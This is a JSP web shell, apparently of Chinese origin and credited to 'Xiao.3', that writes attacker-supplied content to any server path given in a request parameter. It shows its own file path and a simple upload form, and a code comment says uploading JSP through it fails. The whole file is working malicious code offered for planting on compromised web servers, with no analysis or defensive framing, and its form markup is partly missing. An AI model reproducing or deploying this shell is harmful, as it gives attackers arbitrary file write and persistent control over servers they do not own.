<%@page contentType="text/html;charset=utf-8"%> <%@page import="java.io.*,java.util.*,java.net.*"%> JspDo Code By Xiao.3 <% if(request.getParameter("context")!=null) { //这小马有问题 上传jsp就出错 String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"utf-8"); String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"utf-8"); OutputStream pt = null; try { pt = new FileOutputStream(path); pt.write(context.getBytes()); out.println("上传成功!"); } catch (FileNotFoundException ex2) { out.println("上传失败!"); } catch (IOException ex) { out.println("上传失败!"); } finally { try { pt.close(); } catch (IOException ex3) { out.println("上传失败!"); } } } %>
本文件的路径:<%out.print(request.getRealPath(request.getServletPath())); %>

上传文件路径:">

上传文件内容: